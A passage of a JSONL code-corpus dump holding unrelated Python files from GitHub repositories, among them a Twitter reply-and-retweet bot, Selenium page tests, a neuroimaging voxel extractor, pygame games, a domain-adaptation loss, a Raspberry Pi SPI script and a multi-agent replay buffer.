= tweet.user.id\n\t\t\t\tusername = tweet.user.screen_name\n\t\t\t\tapi.update_status(\"@\" + username + \" \" + response, in_reply_to_status_id = tweetId)\n\t\t\t\tprint(\"Replied with \" + response)\n\n\t\t\texcept tweepy.TweepError as e:\n\t\t\t\tprint(e.reason)\n\n\t\t\texcept StopIteration:\n\t\t\t\tbreak\n\n\tif retweet == \"yes\":\n\t\tfor tweet in tweepy.Cursor(api.search, search).items(numOfTweets):\n\t\t\ttry:\n\t\t\t\ttweet.retweet()\n\t\t\t\tprint('Retweeted the tweet')\n\n\t\t\texcept tweepy.TweepError as e:\n\t\t\t\tprint(e.reason)\n\n\t\t\texcept StopIteration:\n\t\t\t\tbreak\n\n\tif favorite == \"yes\":\n\t\tfor tweet in tweepy.Cursor(api.search, search).items(numOfTweets):\n\t\t\ttry:\n\t\t\t\ttweet.favorite()\n\t\t\t\tprint('Favorited the tweet')\n\n\t\t\texcept tweepy.TweepError as e:\n\t\t\t\tprint(e.reason)\n\n\t\t\texcept StopIteration:\n\t\t\t\tbreak\n\n\tif follow == \"yes\":\n\t\tfor tweet in tweepy.Cursor(api.search, search).items(numOfTweets):\n\t\t\ttry:\n\t\t\t\ttweet.user.follow()\n\t\t\t\tprint('Followed the twitter user')\n\n\t\t\texcept tweepy.TweepError as e:\n\t\t\t\tprint(e.reason)\n\n\t\t\texcept StopIteration:\n\t\t\t\tbreak\n\nsubmit = Button(root, text = \"Submit\", command = main)\n\nlabel_1.pack()\ne1.pack()\n\nlabel_2.pack()\ne2.pack()\n\nlabel_3.pack()\ne3.pack()\n\nlabel_4.pack()\ne4.pack()\n\nlabel_5.pack()\ne5.pack()\n\nlabel_6.pack()\ne6.pack()\n\nlabel_7.pack()\ne7.pack()\n\nsubmit.pack(side=BOTTOM)\n\nroot.mainloop()\n\n","repo_name":"bshimmm/Marvel-Avengers-Bot","sub_path":"Twitter-Bot.py","file_name":"Twitter-Bot.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"6187798187","text":"from .base_page import BasePage\nfrom .basket_page import BasketPage\nfrom .locators import ProductPageLocators\nfrom .locators import BasePageLocators\nfrom selenium.common.exceptions import NoSuchElementException\n\nclass ProductPage(BasePage):\n def __init__(self, browser, url, timeout=10):\n self.browser = browser\n self.url = url\n self.browser.implicitly_wait(timeout)\n \n def click_to_basket_button(self):\n try:\n login_link = self.browser.find_element(*ProductPageLocators.BASKET_BUTTON)\n login_link.click()\n except (NoSuchElementException):\n print(f\"Add to basket button not found.\")\n \n def check_correctly_buy(self):\n book_name = self.browser.find_element(*ProductPageLocators.BOOK_NAME).text\n book_name_in_message = self.browser.find_element(*ProductPageLocators.BOOK_NAME_IN_MESSAGE).text\n book_price = self.browser.find_element(*ProductPageLocators.BOOK_PRICE).text\n book_price_in_basket = self.browser.find_element(*ProductPageLocators.BOOK_PRICE_IN_BASKET).text\n assert book_name_in_message == book_name, f\"{book_name_in_message}\\n{book_name}\\n{self.browser.current_url}\"\n assert book_price == book_price_in_basket, f\"{book_price} not equals {book_price_in_basket}\"\n \n def should_not_be_success_message(self):\n assert self.is_not_element_present(*ProductPageLocators.SUCCESS_MESSAGE), \\\n \"Success message is presented, but should not be.\"\n def should_disappeared_success_message(self):\n assert self.is_disappeared(*ProductPageLocators.SUCCESS_MESSAGE), \\\n \"Success message is not disappeared, but it should have.\"\n","repo_name":"10iNy/QualifedREP","sub_path":"pages/product_page.py","file_name":"product_page.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10731030719","text":"#load libraries\nimport os\nimport glob\nimport pandas as pd\nimport numpy as np\nimport scipy\nfrom scipy.io import savemat\nimport argparse\nimport sys\n\nparser=argparse.ArgumentParser(\n description='''This script extracts voxel data from nifti files and outputs a voxel x subject matrix\n in .mat (or .npz) format''')\n\nparser.add_argument(\n \"--metric\",help=\"metric to extract\", metavar='T1T2',required=True)\ngroup = parser.add_argument_group(title=\"Execution options\")\n\ngroup.add_argument(\n '--lookup', metavar='.csv',help='''csv file with two columns (Label_val, Label)\n containing label number and name pairings''',required=True)\ngroup.add_argument(\n '--metric_stem', help='''stem of all t1t2 file names (eg. t1t2_stem =\n ratio.nii.gz for subject1_ratio.nii.gz''',required=True)\ngroup.add_argument(\n '--label_stem', help='stem of all label file names',required=True)\ngroup.add_argument(\n '--mask_label', type=int, help='label value identifying voxels of interest',required=True)\ngroup.add_argument(\n '--demo_csv', help='demographic spreadsheet, must contain subject id',required=True)\ngroup.add_argument(\n '--id_col', help='name of subject Id column in demographic sheet',required=True)\ngroup.add_argument(\n '--data_dir', help='directory containing subject data folders', required=True)\ngroup.add_argument(\n '--tract_rec', help='path to TractREC library', required=True)\ngroup.add_argument(\n '--save_npz', help='option to save matrix as .npz, otherwise saves as .mat', required=False, action='store_true')\n\n\nargs=parser.parse_args()\n\n\n# Function to save matrix in .mat or .npz format\ndef save_matrix(x, key, fname, as_npz):\n # If we want to save as .npz\n if as_npz:\n fname = fname + '.npz'\n print(\"Saving \", np.shape(x), key, \"to\", fname)\n np.savez(fname, X=x)\n\n # Otherwise save as .mat\n else:\n fname = fname + '.mat'\n print(\"Saving \", np.shape(x), key, \"to\", fname)\n savemat(fname, {'X': x})\n\n\n\n#load TractREC \nsys.path.append(args.tract_rec)\nimport TractREC as tr\n\nworking_dir=args.data_dir\n\n#you'll need a lookup table in .csv format with label number and structure\nall_label_seg=pd.read_csv(args.lookup)\nall_label_seg=all_label_seg.set_index(['Label_val']) #make the index column the actual index\nall_lobule_subset_idx=[args.mask_label] \ndf_sorted = pd.read_csv(args.demo_csv)\n\n#Create two lists, each containing the filenames of the t1t2 filtered files and majority voted labels\nmetric_files=[]\nfused_label_files=[]\nfor row in df_sorted[args.id_col]:\n fname = working_dir + str(row) + '/*' + args.metric_stem\n metric_files.append(glob.glob(fname)[0])\n fname = working_dir + str(row) + '/*' + args.label_stem \n fused_label_files.append(glob.glob(fname)[0])\n \nmetric_IDs=[]\nfor name in metric_files:\n metric_IDs.append(os.path.dirname(name))\n\n#use TractREC to extract the t1t2 data for each subject, only in voxels overlaying with the label\ndf_seg,res=tr.extract_quantitative_metric(metric_files,fused_label_files,IDs=metric_IDs,ROI_mask_files=None,label_df=all_label_seg,\\\n label_subset_idx=all_lobule_subset_idx,thresh_mask_files=None,thresh_val=None,\\\n max_val=None,thresh_type=None,erode_vox=None,metric='data',DEBUG_DIR=None,\\\n VERBOSE=True,USE_LABEL_RES=False,volume_idx=0)\n#the res variable is now a list of the results for each subject\n\n#create a matrix that is, for now, just containing the first subjects data in the res list (index 0)\nmetric_stack=res[0].data \n\n#cycle through the remaining subjects in res (index 1 - end)\n#iteratively concatenate to metric_stack\nfor img in range(1,len(metric_IDs)):\n metric_stack=np.concatenate((metric_stack,res[img].data),axis=0) \n\n#Save the matrix in .mat (or .npz) format. nmf wants voxels X subjects, so save the transpose of metric_stack\nmetric_out = np.transpose(metric_stack)\nsave_matrix(metric_out, args.metric, 'raw' + args.metric, args.save_npz)\n\n","repo_name":"CoBrALab/cobra-nmf","sub_path":"voxel/extract_metrics.py","file_name":"extract_metrics.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"8444821092","text":"def multiply(lst):\n # returns the quantity multiplied by the price\n return lst[0] * lst[1]\n\n\nmy_dict = {}\nwhile True:\n command = input()\n if command == \"buy\":\n break\n\n product, price, quantity = command.split()\n if product not in my_dict:\n my_dict[product] = [float(price), int(quantity)]\n else:\n my_dict[product][0] = float(price)\n my_dict[product][1] += int(quantity)\nprint(\"\\n\".join([f\"{product_name} -> {multiply(total_price):.2f}\" for product_name, total_price in my_dict.items()]))\n","repo_name":"DanieII/SoftUni-Fundamentals-2022-09","sub_path":"dictionaries_exercise/оrders.py","file_name":"оrders.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36804129953","text":"import pygame\r\nimport random\r\n\r\nprint(\"Gamers rise up!\")\r\n\r\npygame.init()\r\nMAX_HEIGHT = 300\r\nMAX_WIDTH = 480\r\nscreen = pygame.display.set_mode((MAX_WIDTH, MAX_HEIGHT))\r\ndone = False\r\nis_blue = True\r\nx = MAX_WIDTH / 2\r\ny = MAX_HEIGHT / 2\r\npoints = 0\r\nfont = pygame.font.SysFont(\"comicsansms\", 14)\r\nclock = pygame.time.Clock()\r\nSPEED = 5\r\n\r\nwhile not done:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n done = True\r\n if event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:\r\n is_blue = not is_blue\r\n pygame.display.flip()\r\n pressed = pygame.key.get_pressed()\r\n if pressed[pygame.K_UP]: y -= SPEED\r\n if pressed[pygame.K_DOWN]: y += SPEED\r\n if pressed[pygame.K_LEFT]: x -= SPEED\r\n if pressed[pygame.K_RIGHT]: x += SPEED\r\n if (x < 0):\r\n x += MAX_WIDTH\r\n if (x > MAX_WIDTH):\r\n x -= MAX_WIDTH\r\n if (y < 0):\r\n y += MAX_HEIGHT\r\n if (y > MAX_HEIGHT):\r\n y -= MAX_HEIGHT\r\n if is_blue:\r\n color = (0, 128, 255)\r\n else:\r\n color = (255, 100, 0)\r\n screen.fill((0, 0, 0))\r\n pygame.draw.rect(screen, color, pygame.Rect(x, y, 60, 60))\r\n text = font.render((\"Score: \" + str(points)), True, (255, 255, 255))\r\n points += random.randint(1, 420)\r\n screen.blit(text, (0, 0))\r\n clock.tick(60)\r\n","repo_name":"iLostMyEyes/thebestgameever","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8996349096","text":"import pygame\n\nfrom pygame.locals import *\nimport config\nfrom config import *\nfrom Scripts.Class.level import Level\nfrom Scripts.Class.button import Button\n\npygame.init()\nscreen = pygame.display.set_mode(resolution)\n\n\nclass Game:\n def __init__(self, surface):\n self.current_level = 0\n self.surface = surface\n self.is_running = False\n self.font_pos = (10, 10)\n self.time_pos = (10, 110)\n self.block_size = 60, 60\n self.closed_death_screen = False\n self.level = Level(resolution, self.block_size)\n\n self.font = get_font_for_size(100)\n\n def end(self):\n pass\n\n def launch_level(self):\n clock = pygame.time.Clock()\n self.is_running = True\n\n while self.is_running and config.is_running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.is_running = False\n config.is_running = False\n break\n\n self.level.event_handler(clock.tick(TPS), self.show_death_screen)\n\n self.level.draw(self.surface)\n self.render_status_game()\n\n pygame.display.flip()\n\n def show_death_screen(self):\n for obj in config.game_group_1:\n obj.kill()\n\n for obj in config.game_group_2:\n obj.kill()\n\n for obj in config.game_group_3:\n obj.kill()\n\n for obj in config.game_group_4:\n obj.kill()\n\n for obj in config.gui_group_1:\n obj.kill()\n\n self.is_running = False\n if not self.closed_death_screen:\n EndScreen(self.surface)\n\n def render_status_game(self):\n line = f'Level {self.level.current_level}'\n string_rendered = self.font.render(line.removeprefix('*'), True, pygame.Color('white'))\n intro_rect = string_rendered.get_rect()\n intro_rect.x, intro_rect.y = self.font_pos[0], self.font_pos[1]\n screen.blit(string_rendered, intro_rect)\n\n elapsed_time = pygame.time.get_ticks() - self.level.start_time\n time_str = f\"Time: {elapsed_time // 1000}.{elapsed_time % 1000:03d}\"\n time_text = self.font.render(time_str, True, (255, 255, 255))\n time_rect = time_text.get_rect()\n time_rect.x, time_rect.y = self.time_pos[0], self.time_pos[1]\n screen.blit(time_text, time_rect)\n\n\nclass Menu:\n def __init__(self, surface):\n self.surface = surface\n self.is_running = False\n\n self.title_font = get_font_for_size(44)\n\n self.run()\n\n def stop(self):\n self.is_running = False\n config.is_running = False\n\n def run(self):\n buttons_group = pygame.sprite.Group()\n Button(\n group=buttons_group,\n x=(self.surface.get_width() - BUTTON_SIZE_X) // 2,\n y=200,\n w=BUTTON_SIZE_X,\n h=BUTTON_SIZE_Y,\n text=\"Играть\",\n callback=self.start_game,\n )\n Button(\n group=buttons_group,\n x=(self.surface.get_width() - BUTTON_SIZE_X) // 2,\n y=300,\n w=BUTTON_SIZE_X,\n h=BUTTON_SIZE_Y,\n text=\"Выйти\",\n callback=self.stop,\n )\n\n clock = pygame.time.Clock()\n self.is_running = True\n\n self.surface.fill(BACKGROUND_COLOR)\n text = self.title_font.render(\"Bullet Hell\", FONT_ANTIALIAS, WHITE)\n self.surface.blit(\n text, (40, 80)\n )\n\n while self.is_running and config.is_running:\n for button in buttons_group:\n button.x = 10\n button.draw(self.surface)\n\n events = pygame.event.get()\n events_types = {event.type for event in events}\n\n if pygame.QUIT in events_types:\n self.is_running = False\n config.is_running = False\n break\n\n for event in events:\n if event.type == pygame.VIDEORESIZE:\n self.surface.fill(BACKGROUND_COLOR)\n\n for button in buttons_group:\n button.x = (self.surface.get_width() - button.w) // 2\n button.draw(self.surface)\n\n self.surface.blit(\n text, ((self.surface.get_width() - text.get_width()) // 2, 80)\n )\n\n for button in buttons_group:\n button.event_handler(events, events_types)\n\n pygame.display.flip()\n clock.tick(TPS)\n\n def start_game(self):\n config.game = Game(self.surface)\n config.game.launch_level()\n self.end_game()\n\n def end_game(self):\n config.game.end()\n config.game = None\n\n # Redraw text\n self.surface.fill(BACKGROUND_COLOR)\n text = self.title_font.render(\"Bullet Hell\", FONT_ANTIALIAS, WHITE)\n self.surface.blit(\n text, ((self.surface.get_width() - text.get_width()) // 2, 120)\n )\n\n\nclass EndScreen:\n def __init__(self, surface):\n self.surface = surface\n self.is_running = False\n self.run()\n\n def run(self):\n font = get_font_for_size(44)\n\n self.is_running = True\n clock = pygame.time.Clock()\n\n buttons_group = pygame.sprite.Group()\n Button(\n group=buttons_group,\n x=(self.surface.get_width() - 600) // 2,\n y=250,\n w=600,\n h=BUTTON_SIZE_Y,\n text=\"Выйти в главное меню\",\n callback=self.close,\n )\n\n self.surface.fill(BACKGROUND_COLOR)\n\n you_died_text = font.render(\"Вы прошли все уровни!\", FONT_ANTIALIAS, WHITE)\n self.surface.blit(\n you_died_text,\n ((self.surface.get_width() - you_died_text.get_width()) // 2, 80),\n )\n\n while self.is_running and config.is_running:\n for button in buttons_group:\n button.draw(self.surface)\n\n events = pygame.event.get()\n events_types = {event.type for event in events}\n\n if pygame.QUIT in events_types:\n self.is_running = False\n config.is_running = False\n\n for event in events:\n if event.type == pygame.VIDEORESIZE:\n self.surface.fill(BACKGROUND_COLOR)\n\n for button in buttons_group:\n button.x = (self.surface.get_width() - button.w) // 2\n button.draw(self.surface)\n\n self.surface.blit(\n you_died_text,\n (\n (self.surface.get_width() - you_died_text.get_width()) // 2,\n 120,\n ),\n )\n\n for button in buttons_group:\n button.event_handler(events, events_types)\n\n pygame.display.flip()\n clock.tick(TPS)\n\n def close(self):\n self.is_running = False\n config.game.closed_death_screen = True\n\n\ndef main():\n Menu(screen)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"drt9739/Bullet-Hell","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"24655837090","text":"import lgpio as sbc\nimport pinOut_lgpio\nimport time\nimport asyncio\n\nclass SPI:\n\n NUM_CHANNELS = 8\n counter = 0\n\n def __init__(self): #spiDevice=0 (ADC1), spiDevice=1 (ADC2)\n handle_gpio = gpiochip_open(0)\n handle_spi = spi_open(1, 0, 50000, 0)\n \n self.setup_gpio()\n self.reset_adc()\n\n def setup_gpio(self):\n \"\"\"Setup GPIO pins.\"\"\"\n sbc.gpio_claim_output(self.handle_gpio, pinOut_lgpio.ADC12_RESET)\n sbc.gpio_claim_alert(self.handle_gpio, pinOut_lgpio.ADC1_DRDY, sbc.FALLING_EDGE)\n sbc.gpio_claim_output(self.handle_gpio, pinOut_lgpio.RPI_GPIO_22)\n\n def reset_adc(self):\n \"\"\"Reset the ADC.\"\"\"\n sbc.gpio_write(self.handle_gpio, pinOut_lgpio.ADC12_RESET, 0)\n time.sleep(0.01)\n sbc.gpio_write(self.handle_gpio, pinOut_lgpio.ADC12_RESET, 1)\n time.sleep(0.01)\n\n def cbf(self, chip, gpio, level, tick):\n \"\"\"Handle data ready interrupt.\"\"\"\n\n sbc.gpio_write(pinOut_lgpio.RPI_GPIO_22, 0)\n sbc.gpio_write(pinOut_lgpio.RPI_GPIO_22, 1)\n sbc.gpio_write(pinOut_lgpio.RPI_GPIO_22, 0)\n\nif __name__ == '__main__':\n spi = SPI()\n\n sbc.callback(spi.handle_gpio, pinOut_lgpio.ADC1_DRDY, sbc.FALLING_EDGE, spi.cbf)\n \n try:\n while True:\n time.sleep(1) # Infinite loop to keep script running and process callbacks NEED TIMER\n \n except KeyboardInterrupt:\n print(\"\\nExiting...\")","repo_name":"sindrekvande/SpecializationProject","sub_path":"modules/SPI_lgpio.py","file_name":"SPI_lgpio.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69982433203","text":"# Instance-specific secret stuffs that we don't want in git!\n\nSTEAM_API_KEY = \"\"\nSECRET_KEY = \"\"\nENCRYPTION_KEY = \"\" # 16, 24, or 32 bytes long\nSQLALCHEMY_DATABASE_URI = \"\"\nSENTRY_DSN = \"\"\n\nGMAPS_API_KEY = \"\"\n\n# DEBUG = True\n\n# If debugging, might be worth getting a smaller set of Geodata\n# GEODATA_COUNTRIES = ['GB', 'HU']\n","repo_name":"Arcana/pubstomp.info","sub_path":"instance/config_example.py","file_name":"config_example.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26378766029","text":"n = int(input())\nL = list()\nfor i in range(n):\n L.append(int(input()))\n\n\ndef fibo(ans):\n A = list(0 for _ in range(ans + 1))\n B = list(0 for _ in range(ans + 1))\n if ans == 0:\n print('1 0')\n return -1\n elif ans == 1:\n print('0 1')\n return -1\n A[0] = 1\n B[1] = 1\n for i in range(2, ans + 1):\n A[i] = A[i - 1] + A[i - 2]\n B[i] = B[i - 1] + B[i - 2]\n print(A[i], B[i])\n return -1\n\n\nfor i in L:\n fibo(i)","repo_name":"HunkiKim/Algorithm_Study","sub_path":"Problem/Dynamic Programming/1003.py","file_name":"1003.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31900553235","text":"from typing import List\nimport numpy as np\n\nclass MultiAgentReplayBuffer(object):\n def __init__(self, size: int, n_agents: int):\n \"\"\"Create Prioritized Replay buffer.\n\n each data added in this replay buffer is a tuple: \n (states, actions, rewards, next_states, dones)\n \"\"\"\n self.n = n_agents\n self.agents = np.zeros((n_agents, size), dtype=tuple)\n self.used = 0\n self.maxsize = int(size)\n self.next_idx = 0\n\n def __len__(self):\n return self.used\n\n def clear(self):\n self.agents = np.zeros((self.n, self.maxsize), dtype=tuple)\n self.used = 0\n self.next_idx = 0\n\n def add(self, \n obs: List[np.ndarray],\n act: List[np.ndarray],\n rew: List[np.float32],\n next_obs: List[np.ndarray], \n dones: List[np.bool]):\n\n assert self.n == len(obs) == len(act) == len(rew) == len(next_obs) == len(dones)\n data = list(zip(obs, act, rew, next_obs, dones))\n\n for i in range(self.n):\n self.agents[i, self.next_idx] = data[i]\n \n self.next_idx = (self.next_idx + 1) % self.maxsize\n\n if self.used < self.maxsize:\n self.used += 1\n\n def sample_index(self, indexes: List[int]):\n # per agent info\n states, actions, rewards, next_states, dones = [], [], [], [], []\n\n for a in range(self.n):\n tuples = self.agents[a, indexes]\n \n trajectory = ([], [], [], [], [])\n for t in tuples:\n for i, info in enumerate(t):\n trajectory[i].append(info)\n\n obs, act, rew, new_obs, done = trajectory\n states.append(np.array(obs, copy=False))\n actions.append(np.array(act, copy=False))\n rewards.append(np.array(rew, copy=False))\n next_states.append(np.array(new_obs, copy=False))\n dones.append(np.array(done, copy=False))\n\n return states, actions, rewards, next_states, dones\n\n def make_index(self, batch_size):\n return [np.random.randint(0, self.used) for _ in range(batch_size)]\n\n def sample(self, batch_size):\n if batch_size > 0:\n idxes = self.make_index(batch_size)\n else:\n idxes = range(0, self.used)\n states, actions, next_states, rewards, dones = self.sample_index(idxes)\n \n return states, actions, next_states, rewards, dones\n","repo_name":"moesio-f/RL-Function-Optimizer","sub_path":"src/multi_agent/replay_buffer.py","file_name":"replay_buffer.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"12295604586","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Function\nimport torch.nn.functional as F\nimport numpy as np\n\nclass LambdaSheduler(nn.Module):\n def __init__(self, gamma=1.0, max_iter=1000, **kwargs):\n super(LambdaSheduler, self).__init__()\n self.gamma = gamma\n self.max_iter = max_iter\n self.curr_iter = 0\n\n def lamb(self):\n p = self.curr_iter / self.max_iter\n lamb = 2. / (1. + np.exp(-self.gamma * p)) - 1\n return lamb\n \n def step(self):\n self.curr_iter = min(self.curr_iter + 1, self.max_iter)\n\nclass AdversarialLoss(nn.Module):\n '''\n Acknowledgement: The adversarial loss implementation is inspired by http://transfer.thuml.ai/\n '''\n def __init__(self, gamma=1.0, max_iter=1000, use_lambda_scheduler=True, **kwargs):\n super(AdversarialLoss, self).__init__()\n self.domain_classifier = Discriminator()\n self.use_lambda_scheduler = use_lambda_scheduler\n if self.use_lambda_scheduler:\n self.lambda_scheduler = LambdaSheduler(gamma, max_iter)\n \n def forward(self, source, target):\n lamb = 1.0\n if self.use_lambda_scheduler:\n lamb = self.lambda_scheduler.lamb()\n self.lambda_scheduler.step()\n source_loss = self.get_adversarial_result(source, True, lamb)\n target_loss = self.get_adversarial_result(target, False, lamb)\n adv_loss = 0.5 * (source_loss + target_loss)\n return adv_loss\n \n def get_adversarial_result(self, x, source=True, lamb=1.0):\n x = ReverseLayerF.apply(x, lamb)\n domain_pred = self.domain_classifier(x)\n device = domain_pred.device\n if source:\n domain_label = torch.ones(len(x), 1).long()\n else:\n domain_label = torch.zeros(len(x), 1).long()\n loss_fn = nn.BCELoss()\n loss_adv = loss_fn(domain_pred, domain_label.float().to(device))\n return loss_adv\n \n\nclass ReverseLayerF(Function):\n @staticmethod\n def forward(ctx, x, alpha):\n ctx.alpha = alpha\n return x.view_as(x)\n \n @staticmethod\n def backward(ctx, grad_output):\n output = grad_output.neg() * ctx.alpha\n return output, None\n\nclass Discriminator(nn.Module):\n def __init__(self, input_dim=256, hidden_dim=256):\n super(Discriminator, self).__init__()\n self.input_dim = input_dim\n self.hidden_dim = hidden_dim\n layers = [\n nn.Linear(input_dim, hidden_dim),\n nn.BatchNorm1d(hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim),\n nn.BatchNorm1d(hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, 1),\n nn.Sigmoid()\n ]\n self.layers = torch.nn.Sequential(*layers)\n \n def forward(self, x):\n return self.layers(x)\n","repo_name":"jindongwang/transferlearning","sub_path":"code/DeepDA/loss_funcs/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","stars":12233,"dataset":"github-code","pt":"75"} +{"seq_id":"8819524793","text":"import math as m\n\nx = None\nn = None\nbreakings = []\n\n\ndef find_min_number(X, N):\n try:\n int(N)\n except ValueError:\n raise TypeError('N must be an integer')\n if any(elem not in ['0', '1'] for elem in X):\n raise TypeError('The sequence must contain only 1s and 0s')\n if len(X) not in range(1, 100) or int(N) not in range(1, 100):\n raise ValueError('The length of the sequence and the number must be in range 1..99')\n\n global breakings, n, x\n n = N\n x = X\n if x[0] == '0':\n return -1\n if int(n) == 1:\n if '0' in x:\n return -1;\n else:\n return len(x)\n if check_power(x):\n return 1\n breakings = [float('inf') for i in x]\n cut_sequence(x)\n return breakings[-1]\n\n\ndef cut_sequence(x):\n for i in range(len(x)):\n sub_sequence = x[:i + 1]\n if check_power(sub_sequence):\n breakings[i] = 1\n elif len(sub_sequence) > 1:\n for j in range(len(sub_sequence) - 1, 0, -1):\n right = sub_sequence[j:]\n if breakings[j - 1] > 0 and check_power(right):\n breakings[i] = min(breakings[i], breakings[j - 1] + 1)\n if breakings[i] == 2:\n break\n if breakings[i] == float('inf'):\n breakings[i] = -1\n else:\n breakings[i] = -1\n\n\ndef check_power(byte_number):\n global n\n if byte_number[0] == '0':\n return False\n n = int(n)\n number = int(byte_number, 2)\n return float(\"{:.14f}\".format(m.log(number, n))).is_integer()\n","repo_name":"VKasaraba/NULP_IoT_labs","sub_path":"algorithms/lab4/fantz.py","file_name":"fantz.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30532916885","text":"# needed for python unit testings\n# https://docs.python.org/3/library/unittest.html\nimport heapq\nimport unittest\n\n# required for type hinting\n# https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html\nfrom typing import List\n\nclass Solution:\n def maxIceCream_sort(self, costs: List[int], coins: int) -> int:\n costs.sort()\n i = 0\n while i < len(costs) and coins >= costs[i]:\n coins -= costs[i]\n i += 1\n return i\n\n # basically the same as above, just doing sort with stack\n def maxIceCream(self, costs: List[int], coins: int) -> int:\n h = []\n for c in costs:\n if c <= coins:\n coins -= c\n heapq.heappush(h, -c)\n elif h and c < -h[0]:\n coins = coins - h[0] - c\n heapq.heapreplace(h, -c)\n return len(h)\n\n '''\n Something called a counting sort will solve this faster\n see leetcode solution for details\n '''\n\nclass UnitTesting(unittest.TestCase):\n def test_one(self):\n s = Solution()\n i = [1,3,2,4,1]\n j = 7\n o = 4\n self.assertEqual(s.maxIceCream(i, j), o)\n\n def test_two(self):\n s = Solution()\n i = [10,6,8,7,7,8]\n j = 5\n o = 0\n self.assertEqual(s.maxIceCream(i, j), o)\n\n def test_three(self):\n s = Solution()\n i = [1,6,3,1,2,5]\n j = 20\n o = 6\n self.assertEqual(s.maxIceCream(i, j), o)\n\n def test_four(self):\n s = Solution()\n i = [2,2,3,4,1,1,1,1]\n j = 4\n o = 4\n self.assertEqual(s.maxIceCream(i, j), o)\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)","repo_name":"olsenw/LeetCodeExercises","sub_path":"Python3/maximum_ice_cream_bars.py","file_name":"maximum_ice_cream_bars.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12792385715","text":"myArray = [3, 5, -4, 8, 11, 1, -1, 6];\n\n# BRUTE FORCE SOLUTION - Nested \"for\" Loops\n# Time Complexity = O(n^2)\n# Space Complexity = O(1)\n# def twoNumberSum(array, targetSum):\n# for i in range(len(array) - 1):\n# firstNum = array[i]\n# print('firstNum =', firstNum)\n \n# for j in range(i + 1, len(array)):\n# secondNum = array[j]\n\n# if firstNum + secondNum == targetSum:\n# return [firstNum, secondNum]\n \n# return []\n\n# print(twoNumberSum(myArray, 10));\n\n# SLIGHTLY OPTIMIZED SOLUTION - Sort & L+R Pointers\n# Time Complexity = O(n log n)\n# Space Complexity = O(n)\ndef twoNumberSum(array, targetSum):\n sortedArray = array.sort();\n left = 0;\n right = len(array) - 1;\n \n while left < right:\n currentSum = array[right] + array[left]\n if currentSum == targetSum:\n return [array[right], array[left]]\n if currentSum < targetSum:\n left += 1\n if currentSum > targetSum:\n right -= 1\n \n return []\n\nprint(twoNumberSum(myArray, 10));\n\n# const myArray = [3, 5, -4, 8, 11, 1, -1, 6];\n\n# console.log(twoNumberSum(myArray, 10));\n\n# MOST OPTIMAL SOLUTION - MEMOIZATION\n# Time Complexity = O(n)\n# Space Complexity = O(n)\n# function twoNumberSum(array, targetSum) {\n# \tconst cache = {};\n\n# \tfor (let i = 0; i < array.length; i++) {\n# \t\tlet potentialMatch = targetSum - array[i];\n\n# \t\tif (potentialMatch in cache) {\n# \t\t\treturn [potentialMatch, array[i]];\n# \t\t} else {\n# \t\t\tcache[array[i]] = true;\n# \t\t}\n# \t}\n# \treturn [];\n# }\n","repo_name":"ticotheps/practice_problems","sub_path":"algo_expert/easy/twoNumberSum/official_twoNumberSum.py","file_name":"official_twoNumberSum.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24007259331","text":"from service.MyServiceBrowser import *\nfrom zc.MyZeroConf import Zeroconf\n\n\nclass ZeroconfServiceTypes:\n def __init__(self) -> None:\n self.found_services = set()\n\n def add_service(self, zc, type_, name):\n self.found_services.add(name)\n\n @classmethod\n def find(cls, zc=None, timeout=5.0):\n local_zc = zc or Zeroconf()\n listener = cls()\n browser = ServiceBrowser(local_zc, \"_services._dns-sd._udp.local.\", listener=listener)\n time.sleep(timeout) # wait for responses\n if zc is None: # close down anything we opened\n local_zc.close()\n else:\n browser.cancel()\n return tuple(sorted(listener.found_services))\n\n\nif __name__ == '__main__':\n service_types = ZeroconfServiceTypes.find(timeout=0.5)\n 